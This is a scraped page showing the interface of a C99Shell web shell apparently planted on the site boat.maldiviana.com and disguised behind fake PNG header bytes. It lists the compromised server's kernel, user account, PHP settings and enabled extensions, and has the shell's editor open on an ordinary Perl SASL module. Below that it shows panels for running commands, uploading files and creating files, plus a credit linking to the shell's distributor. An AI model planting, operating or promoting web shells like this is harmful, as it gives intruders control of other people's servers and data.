boat.maldiviana.com

\x89\x50\x4E\x47\x0D\x0A\x1A\x0A PNG \x89\x50\x4E\x47\x0D\x0A\x1A\x0A boat.maldiviana.com - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux boa1684427.nichost.ru 6.6.144-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 8 17:12:46 MSK 2026 x86_64 User: boa1684427 Software: Apache/2.4.68 (Linux) PHP/7.4.33 IP: 127.0.0.1 PHP: 7.4.33 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/share/perl5/vendor_perl/Authen/SASL/Perl/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux boa1684427.nichost.ru 6.6.144-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 8 17:12:46 MSK 2026 x86_64

User: boa1684427

Software: Apache/2.4.68 (Linux) PHP/7.4.33

IP: 127.0.0.1

PHP: 7.4.33

CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF

/usr/share/perl5/vendor_perl/Authen/SASL/Perl/

Edit File: EXTERNAL.pm

# Copyright (c) 1998-2002 Graham Barr <gbarr@pobox.com> and 2001 Chris Ridd
# <chris.ridd@isode.com>.  All rights reserved.  This program
# is free software; you can redistribute it and/or modify it under the
# same terms as Perl itself.

package Authen::SASL::Perl::EXTERNAL;

use strict;
use vars qw($VERSION @ISA);

$VERSION = "2.14";
@ISA	 = qw(Authen::SASL::Perl);

my %secflags = (
	noplaintext  => 1,
	nodictionary => 1,
	noanonymous  => 1,
);

sub _order { 2 }
sub _secflags {
  shift;
  grep { $secflags{$_} } @_;
}

sub mechanism { 'EXTERNAL' }

sub client_start {
  my $self = shift;
  my $v = $self->_call('user');
  defined($v) ? $v : ''
}

#sub client_step {
#  shift->_call('user');
#}

__END__

=head1 NAME

Authen::SASL::Perl::EXTERNAL - External Authentication class

=head1 SYNOPSIS

use Authen::SASL qw(Perl);

$sasl = Authen::SASL->new(
    mechanism => 'EXTERNAL',
    callback  => {
      user => $user
    },
  );

=head1 DESCRIPTION

This method implements the client part of the EXTERNAL SASL algorithm,
as described in RFC 2222.

=head2 CALLBACK

The callbacks used are:

=over 4

=item user

The username to be used for authentication

=back

=head1 SEE ALSO

L<Authen::SASL>,
L<Authen::SASL::Perl>

=head1 AUTHORS

Software written by Graham Barr <gbarr@pobox.com>,
documentation written by Peter Marschall <peter@adpm.de>.

Please report any bugs, or post any suggestions, to the perl-ldap mailing list
<perl-ldap@perl.org>

=head1 COPYRIGHT

=cut

Cancel

Listing directory:

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1784890142.7665 ]--